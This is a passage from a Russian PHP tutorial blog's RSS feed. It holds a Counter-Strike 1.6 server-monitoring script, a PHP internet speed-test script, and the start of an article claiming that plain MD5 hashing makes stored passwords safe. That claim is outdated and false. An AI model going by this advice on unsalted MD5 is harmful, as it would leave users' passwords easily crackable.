&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> 5<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$status</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/socket_get_status"><span style="color: #990000;">socket_get_status</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$status</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'unread_bytes'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;</span>0<span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$status</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'unread_bytes'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$array</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> 1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;=</span><span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'players'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$pos</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\0</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> 0<span style="color: #339933;">,</span> <span style="color: #000088;">$pos</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pos</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$lo</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;&lt;</span> 8<span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$hi</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;&lt;</span> 8<span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> 4<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$kills</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$hi</span> <span style="color: #339933;">&lt;&lt;</span> 16<span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #000088;">$lo</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/unpack"><span style="color: #990000;">unpack</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;f1float&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$temp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> 4<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$time</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>int<span style="color: #009900;">&#41;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'float'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'stats'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;name&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;kills&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$kills</span><span style="color: #339933;">,</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">&quot;time&quot;</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/gmdate"><span style="color: #990000;">gmdate</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;H:i:s&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$time</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'status'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'off'</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$server</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Главный скрипт готов, все что осталось это вызвать функцию из этого скрипта.<br />
Создаем файл <strong>check.php</strong> с содержанием:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span> <br />
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cstrike.inc.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$info</span> <span style="color: #339933;">=</span> serverInfo<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'IP Сервака'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'ПОРТ'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<a href="http://www.php.net/print_r"><span style="color: #990000;">print_r</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Все что осталось сделать, это добавление серверов в базу и вывод инфы на главную, вот вам и целый сайт.</p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/others/%d0%bc%d0%be%d0%bd%d0%b8%d1%82%d0%be%d1%80%d0%b8%d0%bd%d0%b3-counter-strike-1-6-%d1%81%d0%b5%d1%80%d0%b2%d0%b5%d1%80%d0%be%d0%b2-php-cs-1-6-monitoring/","Мониторинг Counter-Strike 1.6 серверов (php cs 1.6 monitoring)")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/others/%d0%bc%d0%be%d0%bd%d0%b8%d1%82%d0%be%d1%80%d0%b8%d0%bd%d0%b3-counter-strike-1-6-%d1%81%d0%b5%d1%80%d0%b2%d0%b5%d1%80%d0%be%d0%b2-php-cs-1-6-monitoring/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Проверка скорости интернета (php speed test)</title>
		<link>http://phpmind.ru/php-scripts/%d0%bf%d1%80%d0%be%d0%b2%d0%b5%d1%80%d0%ba%d0%b0-%d1%81%d0%ba%d0%be%d1%80%d0%be%d1%81%d1%82%d0%b8-%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%bd%d0%b5%d1%82%d0%b0-php-speed-test/</link>
		<comments>http://phpmind.ru/php-scripts/%d0%bf%d1%80%d0%be%d0%b2%d0%b5%d1%80%d0%ba%d0%b0-%d1%81%d0%ba%d0%be%d1%80%d0%be%d1%81%d1%82%d0%b8-%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%bd%d0%b5%d1%82%d0%b0-php-speed-test/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 07:06:16 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Скрипты]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[speedtest]]></category>
		<category><![CDATA[пхп]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=142</guid>
		<description><![CDATA[
Задачи
Итак, наша задача &#8211; написать скрипт, который бы определял скорость интернета.
Алгоритм
Будем отправлять символы общим размером в 512кб и расчитывать промежуток времени скачивания 512кб. Затем будем измерять скорость интернета, делим 512кб на время скачивания и получим скорость интернета.

Тест-Драйв
&#60;?php 
//максимальное значение кб для отсылки 
$maxNumKB = 4096; 
//минимальное значение кб для отсылки 
$defNumKB = 512; 
//если не [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://s004.radikal.ru/i207/1002/c3/e61858caba0e.gif" alt="php speed test" /><br />
<strong>Задачи</strong><br />
Итак, наша задача &#8211; написать скрипт, который бы определял скорость интернета.</p>
<p><strong>Алгоритм</strong><br />
Будем отправлять символы общим размером в 512кб и расчитывать промежуток времени скачивания 512кб. Затем будем измерять скорость интернета, делим 512кб на время скачивания и получим скорость интернета.</p>
<p><span id="more-142"></span><br />
<strong>Тест-Драйв</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <br />
<span style="color: #666666; font-style: italic;">//максимальное значение кб для отсылки </span><br />
<span style="color: #000088;">$maxNumKB</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">4096</span><span style="color: #339933;">;</span> <br />
<span style="color: #666666; font-style: italic;">//минимальное значение кб для отсылки </span><br />
<span style="color: #000088;">$defNumKB</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">512</span><span style="color: #339933;">;</span> <br />
<span style="color: #666666; font-style: italic;">//если не заданы GET запросы, то автоматом перебрасываем </span><br />
<span style="color: #666666; font-style: italic;">//на страницу с гет запросом в 512кб. </span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'numKB'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'numKB'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #000088;">$maxNumKB</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: http://<span style="color: #006699; font-weight: bold;">{$_SERVER['HTTP_HOST']}</span><span style="color: #006699; font-weight: bold;">{$_SERVER['PHP_SELF']}</span>?numKB=<span style="color: #006699; font-weight: bold;">$defNumKB</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #666666; font-style: italic;">//округляем до целого числа </span><br />
<span style="color: #000088;">$numKB</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'numKB'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000000; font-weight: bold;">?&gt;</span> <br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&gt; <br />
&lt;head&gt; <br />
&lt;title&gt;SpeedTest [by Capcha]&lt;/title&gt; <br />
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt; <br />
&lt;/head&gt; <br />
&lt;body&gt; <br />
&lt;h1&gt;Wait&lt;/h1&gt; <br />
&lt;!-- <br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <br />
<span style="color: #666666; font-style: italic;">//создаем функцию для определения времени в секундах </span><br />
<span style="color: #000000; font-weight: bold;">function</span> getmicrotime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; <a href="http://www.php.net/list"><span style="color: #990000;">list</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$usec</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sec</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/microtime"><span style="color: #990000;">microtime</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>float<span style="color: #009900;">&#41;</span><span style="color: #000088;">$usec</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>float<span style="color: #009900;">&#41;</span><span style="color: #000088;">$sec</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #666666; font-style: italic;">//обнуляем буфер </span><br />
<a href="http://www.php.net/flush"><span style="color: #990000;">flush</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #666666; font-style: italic;">//придаем значение времени к timeStart </span><br />
<span style="color: #000088;">$timeStart</span> <span style="color: #339933;">=</span> getmicrotime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$nlLength</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #666666; font-style: italic;">//создаем цикл, который будет выполняться $numKB раз </span><br />
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$numKB</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
<span style="color: #666666; font-style: italic;">//Выводим в окно браузера в каждом цикле по килобайту </span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <a href="http://www.php.net/str_pad"><span style="color: #990000;">str_pad</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> 1024 <span style="color: #339933;">-</span> <span style="color: #000088;">$nlLength</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/*\\*'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #666666; font-style: italic;">//обнуляем буфер и выводим на экран все </span><br />
&nbsp; &nbsp; <a href="http://www.php.net/flush"><span style="color: #990000;">flush</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #666666; font-style: italic;">//придаем значение времени к timeEnd </span><br />
<span style="color: #000088;">$timeEnd</span> <span style="color: #339933;">=</span> getmicrotime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #666666; font-style: italic;">//определяем разницу по времени в секундах и округляем до целого числа </span><br />
<span style="color: #000088;">$timeDiff</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$timeEnd</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$timeStart</span><span style="color: #339933;">,</span> 3<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000000; font-weight: bold;">?&gt;</span> <br />
--&gt; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//делим 512кб на время затраченое и обрезаем до тысячных и выводим на экран </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$numKB</span> <span style="color: #339933;">/</span> <span style="color: #000088;">$timeDiff</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> &nbsp;<span style="color: #0000ff;">' &lt;abbr title=&quot;kilobytes per second&quot;&gt;KB/s&lt;/abbr&gt;&lt;br&gt;'</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">?&gt;</span> <br />
&lt;/body&gt; <br />
&lt;/html&gt;</div></div>
<p>Конечено же это не точный результат, т.к. влияет много факторов.<br />
Такие как: скорость сервера, производительность сервера, растояние до сервера и еще куча всего.</p>
<p>Скрипт написан для ознокомительных целей, т.к. такую задачу умнее бы написать на JS.</p>
<p><em>Вот и уроку конец, а кто читал, тот молодец</em></p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-scripts/%d0%bf%d1%80%d0%be%d0%b2%d0%b5%d1%80%d0%ba%d0%b0-%d1%81%d0%ba%d0%be%d1%80%d0%be%d1%81%d1%82%d0%b8-%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%bd%d0%b5%d1%82%d0%b0-php-speed-test/","Проверка скорости интернета (php speed test)")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-scripts/%d0%bf%d1%80%d0%be%d0%b2%d0%b5%d1%80%d0%ba%d0%b0-%d1%81%d0%ba%d0%be%d1%80%d0%be%d1%81%d1%82%d0%b8-%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%bd%d0%b5%d1%82%d0%b0-php-speed-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>В чем сила MD5?</title>
		<link>http://phpmind.ru/php-articles/%d0%b2-%d1%87%d0%b5%d0%bc-%d1%81%d0%b8%d0%bb%d0%b0-md5/</link>
		<comments>http://phpmind.ru/php-articles/%d0%b2-%d1%87%d0%b5%d0%bc-%d1%81%d0%b8%d0%bb%d0%b0-md5/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 20:51:01 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Cтатьи]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php article]]></category>
		<category><![CDATA[пхп]]></category>
		<category><![CDATA[пхп статья]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=139</guid>
		<description><![CDATA[
Меня иногда спрашиваю, а в чем крутость MD5? На кой черт нужно шифровать пароли этим хешем?
Отвечаю. 
Предположим, что злоумышленник нашел дырку в нашем сайте. Чтобы было серьезнее, предположим, что он нашел доступ к базе данных и может прочитать пароли всех пользователей (но перезаписывать базу данных он не может; так часто бывает).

Что происходит, если пароли лежат [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://s006.radikal.ru/i214/1002/8a/d3485f11e8c9.gif" alt="md5 php" /></p>
<p>Меня иногда спрашиваю, а <strong>в чем крутость MD5?</strong> На кой черт нужно шифровать пароли этим хешем?</p>
<p><strong>Отвечаю. </strong><br />
Предположим, что злоумышленник нашел дырку в нашем сайте. Чтобы было серьезнее, предположим, что он нашел доступ к базе данных и может прочитать пароли всех пользователей (но перезаписывать базу данных он не может; так часто бывает).</p>
<p><span id="more-139"></span></p>
<p><strong>Что происходит, если пароли лежат в открытом виде? </strong><br />
Понятно: он берет любой логин и пароль и заходит под ними, делает гадости. Что происходит, если пароли зашифрованы двунаправленным шифрованием (это когда можно зашифровать и другим скриптом расшифровать)? Так как обычно тоже применяются стандартные алгоритмы, взломщик помучается, но расшифрует пароль. Что происходит, если пароль зашифрован с помощью md5? Взломщик видит хэш, но ничего сделать не может. Это однонаправленный метод шифрования.</p>
<p><strong>Что такое однонаправленное шифрование? </strong><br />
Это когда слово шифруется по какому-то алгоритму, а расшифровать его обратно нельзя &#8211; слишком моного возможных комбинаций или другая причина.</p>
<p><strong>Как применять md5 на практике? </strong><br />
Когда пользователь регистрируется и первый раз вводи пароль, в базу мы записываем его MD5-хеш. Ну скажем так:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$login</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$hash</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
